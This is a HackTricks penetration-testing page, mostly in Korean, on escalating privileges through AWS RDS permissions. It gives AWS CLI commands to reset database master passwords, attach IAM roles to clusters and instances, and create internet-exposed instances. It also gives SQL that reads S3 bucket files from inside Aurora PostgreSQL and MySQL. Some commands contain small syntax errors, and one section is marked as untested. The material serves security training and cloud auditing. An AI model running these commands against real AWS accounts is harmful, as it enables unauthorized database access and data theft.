AWS - RDS Privesc

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

RDS - 관계형 데이터베이스 서비스

For more information about RDS check:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

해당 권한이 있으면 공격자는 마스터 사용자 비밀번호를 수정하고, 데이터베이스 내 로그인 정보를 변경할 수 있습니다:

bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

warning

데이터베이스에 접속할 수 있어야 합니다 (보통 내부 네트워크에서만 접근 가능합니다).

Potential Impact: 데이터베이스 내부에서 민감한 정보를 찾을 수 있습니다.

rds-db:connect

해당 docs에 따르면 이 권한을 가진 사용자는 DB 인스턴스에 연결할 수 있습니다.

RDS Role IAM 권한 악용

Postgresql (Aurora)

tip

만약 **SELECT datname FROM pg_database;**를 실행해 **rdsadmin**이라는 데이터베이스가 나오면, 당신은 AWS postgresql database 내부에 있다는 것을 알 수 있습니다.

먼저 이 데이터베이스가 다른 AWS 서비스에 접근하는 데 사용되었는지 확인할 수 있습니다. 설치된 extensions를 확인해 보세요:

sql
SELECT * FROM pg_extension;

만약 aws_s3 같은 항목을 찾으면, 이 데이터베이스가 S3에 대한 어떤 형태의 접근 권한을 가지고 있다고 가정할 수 있습니다 (다른 확장으로는 aws_mlaws_lambda 등이 있습니다).

또한 aws rds describe-db-clusters 를 실행할 권한이 있다면, 해당 명령에서 AssociatedRoles 필드에 cluster에 어떤 IAM Role이 연결되어 있는지 확인할 수 있습니다. 만약 연결되어 있다면 데이터베이스가 다른 AWS 서비스에 접근하도록 준비되어 있었다고 가정할 수 있습니다. 역할의 name(또는 역할의 permissions를 확인할 수 있다면)을 바탕으로 데이터베이스가 어떤 추가 접근 권한을 갖는지 guess할 수 있습니다.

이제 bucket 내부의 파일을 읽으려면 전체 경로를 알아야 합니다. 다음과 같이 읽을 수 있습니다:

sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

만약 raw AWS credentials가 있다면, 이를 사용해 S3 데이터에 다음과 같이 접근할 수도 있습니다:

sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

note

Postgresql은 S3에 접근하기 위해 parameter group 변수를 변경할 필요가 없다.

Mysql (Aurora)

tip

Mysql 내부에서 쿼리 SELECT User, Host FROM mysql.user; 를 실행했을 때 **rdsadmin**이라는 사용자가 있으면 AWS RDS mysql db 안에 있다고 간주할 수 있다.

Mysql 내부에서 show variables; 를 실행하고 aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role 같은 변수들이 값이 있다면, 데이터베이스가 S3 데이터에 접근할 준비가 되어 있다고 볼 수 있다.

또한 aws rds describe-db-clusters 를 실행할 권한이 있다면 클러스터에 어떤 associated role 이 연결되어 있는지 확인할 수 있으며, 이는 보통 AWS 서비스에 대한 접근을 의미한다).

이제 버킷 안의 파일을 읽으려면 전체 경로를 알아야 한다. 다음 명령으로 읽을 수 있다:

sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

권한 rds:AddRoleToDBClusteriam:PassRole를 가진 공격자는 기존 RDS 인스턴스에 지정된 역할을 추가할 수 있습니다. 이는 공격자가 민감한 데이터에 접근하거나 인스턴스 내의 데이터를 수정할 수 있게 합니다.

bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

잠재적 영향: RDS 인스턴스의 민감한 데이터 접근 또는 데이터에 대한 무단 수정.
일부 DB는 추가 구성이 필요합니다. 예를 들어 Mysql의 경우 role ARN을 parameter groups에도 지정해야 합니다.

rds:CreateDBInstance

이 권한만으로 공격자는 이미 존재하고 IAM role이 연결되어 있는 클러스터 내에 새 인스턴스를 생성할 수 있습니다. 공격자는 마스터 사용자 비밀번호를 변경할 수는 없지만, 새 데이터베이스 인스턴스를 인터넷에 노출시킬 수 있습니다:

bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

note

TODO: 테스트

An attacker with the permissions rds:CreateDBInstance and iam:PassRole can create a new RDS instance with a specified role attached. The attacker can then potentially access sensitive data or modify the data within the instance.

warning

연결할 role/instance-profile의 일부 요구사항 (자세한 내용은 here):

  • 인스턴스 프로파일은 귀하의 계정에 존재해야 합니다.
  • 프로파일에는 Amazon EC2가 맡을 수 있는 권한을 가진 IAM 역할이 있어야 합니다.
  • 인스턴스 프로파일 이름과 연결된 IAM 역할 이름은 접두사 AWSRDSCustom으로 시작해야 합니다.
bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potential Impact: RDS 인스턴스의 민감한 데이터에 대한 접근 또는 데이터의 무단 수정.

rds:AddRoleToDBInstance, iam:PassRole

rds:AddRoleToDBInstanceiam:PassRole 권한을 가진 공격자는 기존 RDS 인스턴스에 지정된 역할을 추가할 수 있습니다. 이는 공격자가 민감한 데이터에 접근하거나 인스턴스 내의 데이터를 수정할 수 있게 합니다.

warning

이 작업을 위해 DB 인스턴스는 클러스터 외부에 있어야 합니다

bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

잠재적 영향: RDS 인스턴스 내 민감한 데이터에 대한 접근 또는 데이터에 대한 무단 수정.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기